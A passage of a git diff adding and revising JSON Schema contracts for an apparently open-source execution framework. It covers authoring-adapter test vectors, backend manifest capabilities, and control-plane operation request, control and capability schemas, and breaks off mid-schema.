"raes-sdl-semantic/v2", + "title": "Canonicalization Profile", + "type": "string" + }, + "diagnostic_profile": { + "const": "authoring-diagnostic-semantics/v1", + "default": "authoring-diagnostic-semantics/v1", + "title": "Diagnostic Profile", + "type": "string" + }, + "max_cases": { + "const": 32, + "default": 32, + "title": "Max Cases", + "type": "integer" + }, + "max_diagnostics": { + "const": 64, + "default": 64, + "title": "Max Diagnostics", + "type": "integer" + }, + "max_source_bytes": { + "const": 65536, + "default": 65536, + "title": "Max Source Bytes", + "type": "integer" + }, + "migration_policy": { + "const": "reject", + "default": "reject", + "title": "Migration Policy", + "type": "string" + }, + "profile_id": { + "const": "raes-authoring-adapter-conformance/v1", + "default": "raes-authoring-adapter-conformance/v1", + "title": "Profile Id", + "type": "string" + }, + "semantic_profile_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Semantic Profile Digest", + "type": "string" + }, + "source_profile": { + "const": "sdl-yaml/v1", + "default": "sdl-yaml/v1", + "title": "Source Profile", + "type": "string" + } + }, + "required": [ + "semantic_profile_digest" + ], + "title": "AuthoringAdapterProfileModel", + "type": "object" +} diff --git a/contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json b/contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json new file mode 100644 index 000000000..9718dd6c4 --- /dev/null +++ b/contracts/schemas/authoring-adapters/authoring-adapter-vector-v1.json @@ -0,0 +1,351 @@ +{ + "$defs": { + "AuthoringContrastModel": { + "additionalProperties": false, + "description": "Fixed negative witness: one alternative emitted artifact and its dispositions.", + "properties": { + "artifact_relation": { + "const": "different", + "title": "Artifact Relation", + "type": "string" + }, + "output_source": { + "maxLength": 65536, + "minLength": 1, + "title": "Output Source", + "type": "string" + }, + "semantic_relation": { + "enum": [ + "equivalent", + "different" + ], + "title": "Semantic Relation", + "type": "string" + } + }, + "required": [ + "output_source", + "artifact_relation", + "semantic_relation" + ], + "title": "AuthoringContrastModel", + "type": "object" + }, + "AuthoringObservationModel": { + "additionalProperties": false, + "description": "Derived evidence; consumers must retain the original diagnostic/report carriers.", + "properties": { + "artifact_coordinate": { + "anyOf": [ + { + "$ref": "#/$defs/ScenarioCoordinateModel" + }, + { + "type": "null" + } + ] + }, + "canonical_artifact_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Canonical Artifact Digest" + }, + "diagnostics_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Diagnostics Digest", + "type": "string" + }, + "outcome": { + "enum": [ + "success", + "refused" + ], + "title": "Outcome", + "type": "string" + }, + "transformation_digest": { + "anyOf": [ + { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Transformation Digest" + } + }, + "required": [ + "outcome", + "artifact_coordinate", + "canonical_artifact_digest", + "diagnostics_digest", + "transformation_digest" + ], + "title": "AuthoringObservationModel", + "type": "object" + }, + "AuthoringOperationModel": { + "additionalProperties": false, + "properties": { + "new_local_name": { + "anyOf": [ + { + "maxLength": 64, + "minLength": 1, + "not": { + "pattern": "[^a-z0-9_-]" + }, + "pattern": "^[a-z0-9]", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "New Local Name" + }, + "profile": { + "enum": [ + "validate-sdl/v1", + "rename-sdl-declaration/v1" + ], + "title": "Profile", + "type": "string" + }, + "target_address": { + "anyOf": [ + { + "maxLength": 4096, + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Target Address" + } + }, + "required": [ + "profile" + ], + "title": "AuthoringOperationModel", + "type": "object" + }, + "ExactRepresentationModel": { + "additionalProperties": false, + "description": "Digest-only evidence for one exact representation, never a host path.", + "properties": { + "byte_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Byte Digest", + "type": "string" + }, + "media_type": { + "enum": [ + "application/json", + "application/yaml" + ], + "title": "Media Type", + "type": "string" + }, + "profile": { + "enum": [ + "utf8-json/v1", + "utf8-yaml/v1" + ], + "title": "Profile", + "type": "string" + } + }, + "required": [ + "profile", + "media_type", + "byte_digest" + ], + "title": "ExactRepresentationModel", + "type": "object" + }, + "ScenarioCoordinateModel": { + "additionalProperties": false, + "properties": { + "artifact_kind": { + "const": "scenario", + "default": "scenario", + "title": "Artifact Kind", + "type": "string" + }, + "canonical_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Canonical Digest", + "type": "string" + }, + "canonical_identity": { + "maxLength": 512, + "pattern": "^[A-Za-z0-9][A-Za-z0-9._:@/-]*$", + "title": "Canonical Identity", + "type": "string" + }, + "canonicalization_profile": { + "maxLength": 128, + "pattern": "^[a-z0-9-]+/v[1-9][0-9]*$", + "title": "Canonicalization Profile", + "type": "string" + }, + "exact_representation": { + "anyOf": [ + { + "$ref": "#/$defs/ExactRepresentationModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "lifecycle_phase": { + "const": "normalized-authoring", + "default": "normalized-authoring", + "title": "Lifecycle Phase", + "type": "string" + }, + "scenario_id": { + "maxLength": 256, + "minLength": 1, + "title": "Scenario Id", + "type": "string" + }, + "scenario_version": { + "maxLength": 64, + "minLength": 1, + "title": "Scenario Version", + "type": "string" + }, + "source_profile": { + "const": "sdl-normalized-authoring/v1", + "default": "sdl-normalized-authoring/v1", + "title": "Source Profile", + "type": "string" + } + }, + "required": [ + "canonical_identity", + "canonicalization_profile", + "canonical_digest", + "scenario_id", + "scenario_version" + ], + "title": "ScenarioCoordinateModel", + "type": "object" + } + }, + "$id": "https://openrae.github.io/rae/schemas/authoring-adapter-vector-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "properties": { + "case_id": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*$", + "title": "Case Id", + "type": "string" + }, + "contrast": { + "anyOf": [ + { + "$ref": "#/$defs/AuthoringContrastModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "expected": { + "$ref": "#/$defs/AuthoringObservationModel" + }, + "input_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Input Digest", + "type": "string" + }, + "input_source": { + "maxLength": 65536, + "minLength": 1, + "title": "Input Source", + "type": "string" + }, + "operation": { + "$ref": "#/$defs/AuthoringOperationModel" + }, + "operation_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Operation Digest", + "type": "string" + }, + "profile_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Profile Digest", + "type": "string" + }, + "schema_version": { + "const": "authoring-adapter-vector/v1", + "default": "authoring-adapter-vector/v1", + "title": "Schema Version", + "type": "string" + } + }, + "required": [ + "case_id", + "profile_digest", + "input_source", + "input_digest", + "operation", + "operation_digest", + "expected" + ], + "title": "AuthoringAdapterVectorModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Exact UTF-8 source and closed operation digests must match; outcomes must bind artifacts.", + "id": "authoring-vector-bound-inputs", + "inputs": [ + { + "contract_id": "authoring-adapter-vector-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.authoring_adapters.AuthoringAdapterVectorModel.model_validate" + } + ], + "x-raes-semantic-profile": { + "contract_id": "authoring-adapter-vector-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/backend-manifest/backend-manifest-v2.json b/contracts/schemas/backend-manifest/backend-manifest-v2.json index 99e5c0b09..6cfc169aa 100644 --- a/contracts/schemas/backend-manifest/backend-manifest-v2.json +++ b/contracts/schemas/backend-manifest/backend-manifest-v2.json @@ -219,6 +219,17 @@ "provisioner": { "$ref": "#/$defs/ProvisionerCapabilitiesModel" }, + "recovery_observation": { + "anyOf": [ + { + "$ref": "#/$defs/RecoveryObservationCapabilitiesModel" + }, + { + "type": "null" + } + ], + "default": null + }, "time": { "anyOf": [ { @@ -1532,6 +1543,23 @@ "title": "OperatingSystemCompatibilityModel", "type": "object" }, + "OperationKind": { + "description": "Closed kinds of work admitted by the runtime control plane.", + "enum": [ + "provisioning", + "orchestration", + "evaluation", + "workflow-cancellation", + "workflow-timeout-reconciliation", + "participant-action", + "participant-control", + "participant-crossing", + "composition-phase", + "indeterminate-resolution" + ], + "title": "OperationKind", + "type": "string" + }, "OrchestratorCapabilitiesModel": { "additionalProperties": false, "allOf": [ @@ -1719,6 +1747,17 @@ "title": "Target Addresses", "type": "array" }, + "temporal_contract_digests": { + "default": [], + "items": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "type": "string" + }, + "maxItems": 256, + "title": "Temporal Contract Digests", + "type": "array" + }, "timeout_seconds": { "minimum": 1, "title": "Timeout Seconds", @@ -1792,6 +1831,7 @@ "participant_final_sink_mediation", "participant_ingress_admission", "participant_intervention", + "participant_modular_control", "participant_monitor_topology", "participant_predicate_opacity", "participant_processing_role_trust", @@ -1835,6 +1875,7 @@ "participant_final_sink_mediation", "participant_ingress_admission", "participant_intervention", + "participant_modular_control", "participant_monitor_topology", "participant_predicate_opacity", "participant_processing_role_trust", @@ -1874,6 +1915,7 @@ "participant_final_sink_mediation", "participant_ingress_admission", "participant_intervention", + "participant_modular_control", "participant_monitor_topology", "participant_predicate_opacity", "participant_processing_role_trust", @@ -2367,7 +2409,7 @@ "max_autonomous_retries_per_occurrence": { "anyOf": [ { - "minimum": 1, + "minimum": 0, "type": "integer" }, { @@ -2380,7 +2422,7 @@ "max_concurrent_actions": { "anyOf": [ { - "minimum": 2, + "minimum": 1, "type": "integer" }, { @@ -2503,7 +2545,6 @@ "minLength": 1, "type": "string" }, - "minItems": 1, "title": "Supported Behavior Features", "type": "array", "uniqueItems": true @@ -2529,7 +2570,6 @@ "minLength": 1, "type": "string" }, - "minItems": 1, "title": "Supported Interaction Features", "type": "array", "uniqueItems": true @@ -2539,7 +2579,6 @@ "minLength": 1, "type": "string" }, - "minItems": 1, "title": "Supported Participant Roles", "type": "array", "uniqueItems": true @@ -3148,6 +3187,32 @@ "title": "RealizationVerificationScope", "type": "string" }, + "RecoveryObservationCapabilitiesModel": { + "additionalProperties": false, + "description": "Operational crash-recovery observation support declaration.", + "properties": { + "name": { + "minLength": 1, + "title": "Name", + "type": "string" + }, + "supported_operation_kinds": { + "items": { + "$ref": "#/$defs/OperationKind" + }, + "minItems": 1, + "title": "Supported Operation Kinds", + "type": "array", + "uniqueItems": true + } + }, + "required": [ + "name", + "supported_operation_kinds" + ], + "title": "RecoveryObservationCapabilitiesModel", + "type": "object" + }, "TimeCapabilitiesModel": { "additionalProperties": false, "description": "Backend support for the API-421 portable shared-time contract family.", @@ -3527,6 +3592,12 @@ "supported_contract_versions": { "items": { "enum": [ + "backend-operation-request-v1", + "backend-operation-capabilities-v1", + "backend-operation-control-v1", + "backend-operation-response-v1", + "backend-materialization-attestation-v1", + "backend-augmentation-scope-v1", "plan-realization-profiles-v1", "backend-realization-preparation-v1", "backend-manifest-v2", @@ -3555,6 +3626,10 @@ "participant-resource-budget-state-v1", "participant-resource-budget-event-v1", "participant-control-occurrence-v1", + "participant-control-selection-v1", + "participant-control-evaluation-v1", + "participant-control-selection-v2", + "participant-control-evaluation-v2", "participant-crossing-occurrence-v1", "participant-flow-control-relation-v1", "participant-lifecycle-event-v1", diff --git a/contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json b/contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json index 28f26896a..a851d2c56 100644 --- a/contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json +++ b/contracts/schemas/candidate-synthesis/sdl-candidate-synthesis-record-v1.json @@ -58,6 +58,7 @@ "ArtifactTransformationKind": { "enum": [ "sdl-authoring", + "sdl-materialization", "portable-contract" ], "title": "ArtifactTransformationKind", diff --git a/contracts/schemas/concept-authority/external-concept-bindings-v1.json b/contracts/schemas/concept-authority/external-concept-bindings-v1.json index d423b4c23..d038ff649 100644 --- a/contracts/schemas/concept-authority/external-concept-bindings-v1.json +++ b/contracts/schemas/concept-authority/external-concept-bindings-v1.json @@ -127,6 +127,7 @@ "participant-implementation", "scenario", "scenario-snapshot", + "materialization-attestation", "task", "authoring-input", "protocol", diff --git a/contracts/schemas/control-plane/backend-operation-capabilities-v1.json b/contracts/schemas/control-plane/backend-operation-capabilities-v1.json new file mode 100644 index 000000000..4907ad27d --- /dev/null +++ b/contracts/schemas/control-plane/backend-operation-capabilities-v1.json @@ -0,0 +1,119 @@ +{ + "$defs": { + "OperationKind": { + "description": "Closed kinds of work admitted by the runtime control plane.", + "enum": [ + "provisioning", + "orchestration", + "evaluation", + "workflow-cancellation", + "workflow-timeout-reconciliation", + "participant-action", + "participant-control", + "participant-crossing", + "composition-phase", + "indeterminate-resolution" + ], + "title": "OperationKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/backend-operation-capabilities-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Installed provider declaration; neither willingness nor a conformance proof.", + "properties": { + "backend_id": { + "maxLength": 256, + "minLength": 1, + "title": "Backend Id", + "type": "string" + }, + "guarantees": { + "default": [], + "items": { + "enum": [ + "cancellation", + "effect-observation", + "cessation-evidence", + "partial-effects", + "external-fencing" + ], + "type": "string" + }, + "maxItems": 5, + "title": "Guarantees", + "type": "array" + }, + "revision": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Revision", + "type": "string" + }, + "schema_version": { + "const": "backend-operation-capabilities/v1", + "default": "backend-operation-capabilities/v1", + "title": "Schema Version", + "type": "string" + }, + "supported_operation_kinds": { + "items": { + "$ref": "#/$defs/OperationKind" + }, + "maxItems": 32, + "minItems": 1, + "title": "Supported Operation Kinds", + "type": "array" + } + }, + "required": [ + "backend_id", + "revision", + "supported_operation_kinds" + ], + "title": "BackendOperationCapabilitiesModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate unique collections, calendar instants, budget bounds, scope and honest effect/outcome claims; structural validity does not prove backend truth or runtime authority.", + "id": "backend-operation-local-consistency", + "inputs": [ + { + "contract_id": "backend-operation-capabilities-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.BackendOperationCapabilitiesModel.model_validate" + }, + { + "description": "Before invocation require installed support, matching declaration and current exact-context willingness.", + "id": "backend-operation-contextual-admission", + "inputs": [ + { + "contract_id": "backend-operation-request-v1", + "instance_path": "#" + }, + { + "contract_id": "backend-operation-capabilities-v1", + "instance_path": "#" + }, + { + "contract_id": "backend-operation-response-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.require_backend_operation_admission" + } + ], + "x-raes-semantic-profile": { + "contract_id": "backend-operation-capabilities-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/control-plane/backend-operation-control-v1.json b/contracts/schemas/control-plane/backend-operation-control-v1.json new file mode 100644 index 000000000..8b070983b --- /dev/null +++ b/contracts/schemas/control-plane/backend-operation-control-v1.json @@ -0,0 +1,370 @@ +{ + "$defs": { + "BackendOperationBindingModel": { + "additionalProperties": false, + "description": "Original context and invocation identity, including state-publication fences.", + "properties": { + "attempt_id": { + "maxLength": 256, + "minLength": 1, + "title": "Attempt Id", + "type": "string" + }, + "backend_id": { + "maxLength": 256, + "minLength": 1, + "title": "Backend Id", + "type": "string" + }, + "baseline_revision": { + "maxLength": 256, + "minLength": 1, + "title": "Baseline Revision", + "type": "string" + }, + "context": { + "$ref": "#/$defs/OperationAdmissionContext" + }, + "deployment_id": { + "maxLength": 256, + "minLength": 1, + "title": "Deployment Id", + "type": "string" + }, + "effect_scope": { + "$ref": "#/$defs/OperationEffectScopeModel" + }, + "execution_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "invocation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Invocation Id", + "type": "string" + }, + "operation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Operation Id", + "type": "string" + }, + "owner_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Owner Generation", + "type": "integer" + }, + "worker_id": { + "maxLength": 256, + "minLength": 1, + "title": "Worker Id", + "type": "string" + } + }, + "required": [ + "operation_id", + "invocation_id", + "attempt_id", + "worker_id", + "deployment_id", + "owner_generation", + "execution_generation", + "backend_id", + "baseline_revision", + "context" + ], + "title": "BackendOperationBindingModel", + "type": "object" + }, + "OperationAdmissionContext": { + "additionalProperties": false, + "description": "Immutable, value-free authority and request context fixed at admission.", + "properties": { + "actor_id": { + "maxLength": 256, + "minLength": 1, + "title": "Actor Id", + "type": "string" + }, + "authorization_scope": { + "items": { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "minItems": 1, + "title": "Authorization Scope", + "type": "array" + }, + "operation_kind": { + "$ref": "#/$defs/OperationKind" + }, + "parent_operation_id": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Parent Operation Id" + }, + "request_commitment": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Request Commitment", + "type": "string" + }, + "run_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Run Scope", + "type": "string" + }, + "target_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Target Scope", + "type": "string" + } + }, + "required": [ + "actor_id", + "authorization_scope", + "target_scope", + "run_scope", + "operation_kind", + "request_commitment" + ], + "title": "OperationAdmissionContext", + "type": "object" + }, + "OperationArtifactReferenceModel": { + "additionalProperties": false, + "description": "Content-bound reference resolved through the owning admitted artifact authority.", + "properties": { + "artifact_id": { + "maxLength": 256, + "minLength": 1, + "title": "Artifact Id", + "type": "string" + }, + "contract_id": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*-v[0-9]+$", + "title": "Contract Id", + "type": "string" + }, + "digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Digest", + "type": "string" + } + }, + "required": [ + "contract_id", + "artifact_id", + "digest" + ], + "title": "OperationArtifactReferenceModel", + "type": "object" + }, + "OperationBudgetModel": { + "additionalProperties": false, + "description": "Remaining apparatus budget; the origin is retained across duplicate delivery.", + "properties": { + "limit_ms": { + "maximum": 9007199254740991, + "minimum": 1, + "title": "Limit Ms", + "type": "integer" + }, + "origin_id": { + "maxLength": 256, + "minLength": 1, + "title": "Origin Id", + "type": "string" + }, + "remaining_ms": { + "maximum": 9007199254740991, + "minimum": 1, + "title": "Remaining Ms", + "type": "integer" + }, + "started_at": { + "format": "date-time", + "maxLength": 64, + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Started At", + "type": "string" + } + }, + "required": [ + "origin_id", + "started_at", + "limit_ms", + "remaining_ms" + ], + "title": "OperationBudgetModel", + "type": "object" + }, + "OperationEffectScopeModel": { + "additionalProperties": false, + "description": "Target/run exclusion is the default; narrowing needs admitted independence.", + "properties": { + "addresses": { + "default": [], + "items": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + "maxItems": 256, + "title": "Addresses", + "type": "array" + }, + "independence": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "kind": { + "default": "target-run", + "enum": [ + "target-run", + "resources" + ], + "title": "Kind", + "type": "string" + } + }, + "title": "OperationEffectScopeModel", + "type": "object" + }, + "OperationKind": { + "description": "Closed kinds of work admitted by the runtime control plane.", + "enum": [ + "provisioning", + "orchestration", + "evaluation", + "workflow-cancellation", + "workflow-timeout-reconciliation", + "participant-action", + "participant-control", + "participant-crossing", + "composition-phase", + "indeterminate-resolution" + ], + "title": "OperationKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/backend-operation-control-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Independently authorized, idempotent control/observation of the original invocation.", + "properties": { + "action": { + "enum": [ + "cancel", + "observe", + "reconcile" + ], + "title": "Action", + "type": "string" + }, + "actor_id": { + "maxLength": 256, + "minLength": 1, + "title": "Actor Id", + "type": "string" + }, + "authorization_scope": { + "items": { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "minItems": 1, + "title": "Authorization Scope", + "type": "array" + }, + "binding": { + "$ref": "#/$defs/BackendOperationBindingModel" + }, + "budget": { + "$ref": "#/$defs/OperationBudgetModel" + }, + "control_id": { + "maxLength": 256, + "minLength": 1, + "title": "Control Id", + "type": "string" + }, + "request_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Request Digest", + "type": "string" + }, + "schema_version": { + "const": "backend-operation-control/v1", + "default": "backend-operation-control/v1", + "title": "Schema Version", + "type": "string" + } + }, + "required": [ + "binding", + "request_digest", + "control_id", + "actor_id", + "authorization_scope", + "action", + "budget" + ], + "title": "BackendOperationControlModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate unique collections, calendar instants, budget bounds, scope and honest effect/outcome claims; structural validity does not prove backend truth or runtime authority.", + "id": "backend-operation-local-consistency", + "inputs": [ + { + "contract_id": "backend-operation-control-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.BackendOperationControlModel.model_validate" + } + ], + "x-raes-semantic-profile": { + "contract_id": "backend-operation-control-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/control-plane/backend-operation-request-v1.json b/contracts/schemas/control-plane/backend-operation-request-v1.json new file mode 100644 index 000000000..dfc390bda --- /dev/null +++ b/contracts/schemas/control-plane/backend-operation-request-v1.json @@ -0,0 +1,357 @@ +{ + "$defs": { + "BackendOperationBindingModel": { + "additionalProperties": false, + "description": "Original context and invocation identity, including state-publication fences.", + "properties": { + "attempt_id": { + "maxLength": 256, + "minLength": 1, + "title": "Attempt Id", + "type": "string" + }, + "backend_id": { + "maxLength": 256, + "minLength": 1, + "title": "Backend Id", + "type": "string" + }, + "baseline_revision": { + "maxLength": 256, + "minLength": 1, + "title": "Baseline Revision", + "type": "string" + }, + "context": { + "$ref": "#/$defs/OperationAdmissionContext" + }, + "deployment_id": { + "maxLength": 256, + "minLength": 1, + "title": "Deployment Id", + "type": "string" + }, + "effect_scope": { + "$ref": "#/$defs/OperationEffectScopeModel" + }, + "execution_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "invocation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Invocation Id", + "type": "string" + }, + "operation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Operation Id", + "type": "string" + }, + "owner_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Owner Generation", + "type": "integer" + }, + "worker_id": { + "maxLength": 256, + "minLength": 1, + "title": "Worker Id", + "type": "string" + } + }, + "required": [ + "operation_id", + "invocation_id", + "attempt_id", + "worker_id", + "deployment_id", + "owner_generation", + "execution_generation", + "backend_id", + "baseline_revision", + "context" + ], + "title": "BackendOperationBindingModel", + "type": "object" + }, + "OperationAdmissionContext": { + "additionalProperties": false, + "description": "Immutable, value-free authority and request context fixed at admission.", + "properties": { + "actor_id": { + "maxLength": 256, + "minLength": 1, + "title": "Actor Id", + "type": "string" + }, + "authorization_scope": { + "items": { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "minItems": 1, + "title": "Authorization Scope", + "type": "array" + }, + "operation_kind": { + "$ref": "#/$defs/OperationKind" + }, + "parent_operation_id": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Parent Operation Id" + }, + "request_commitment": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Request Commitment", + "type": "string" + }, + "run_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Run Scope", + "type": "string" + }, + "target_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Target Scope", + "type": "string" + } + }, + "required": [ + "actor_id", + "authorization_scope", + "target_scope", + "run_scope", + "operation_kind", + "request_commitment" + ], + "title": "OperationAdmissionContext", + "type": "object" + }, + "OperationArtifactReferenceModel": { + "additionalProperties": false, + "description": "Content-bound reference resolved through the owning admitted artifact authority.", + "properties": { + "artifact_id": { + "maxLength": 256, + "minLength": 1, + "title": "Artifact Id", + "type": "string" + }, + "contract_id": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*-v[0-9]+$", + "title": "Contract Id", + "type": "string" + }, + "digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Digest", + "type": "string" + } + }, + "required": [ + "contract_id", + "artifact_id", + "digest" + ], + "title": "OperationArtifactReferenceModel", + "type": "object" + }, + "OperationBudgetModel": { + "additionalProperties": false, + "description": "Remaining apparatus budget; the origin is retained across duplicate delivery.", + "properties": { + "limit_ms": { + "maximum": 9007199254740991, + "minimum": 1, + "title": "Limit Ms", + "type": "integer" + }, + "origin_id": { + "maxLength": 256, + "minLength": 1, + "title": "Origin Id", + "type": "string" + }, + "remaining_ms": { + "maximum": 9007199254740991, + "minimum": 1, + "title": "Remaining Ms", + "type": "integer" + }, + "started_at": { + "format": "date-time", + "maxLength": 64, + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Started At", + "type": "string" + } + }, + "required": [ + "origin_id", + "started_at", + "limit_ms", + "remaining_ms" + ], + "title": "OperationBudgetModel", + "type": "object" + }, + "OperationEffectScopeModel": { + "additionalProperties": false, + "description": "Target/run exclusion is the default; narrowing needs admitted independence.", + "properties": { + "addresses": { + "default": [], + "items": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + "maxItems": 256, + "title": "Addresses", + "type": "array" + }, + "independence": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "kind": { + "default": "target-run", + "enum": [ + "target-run", + "resources" + ], + "title": "Kind", + "type": "string" + } + }, + "title": "OperationEffectScopeModel", + "type": "object" + }, + "OperationKind": { + "description": "Closed kinds of work admitted by the runtime control plane.", + "enum": [ + "provisioning", + "orchestration", + "evaluation", + "workflow-cancellation", + "workflow-timeout-reconciliation", + "participant-action", + "participant-control", + "participant-crossing", + "composition-phase", + "indeterminate-resolution" + ], + "title": "OperationKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/backend-operation-request-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "description": "Exact admitted command and requirements checked again immediately before dispatch.", + "properties": { + "binding": { + "$ref": "#/$defs/BackendOperationBindingModel" + }, + "budget": { + "$ref": "#/$defs/OperationBudgetModel" + }, + "command": { + "$ref": 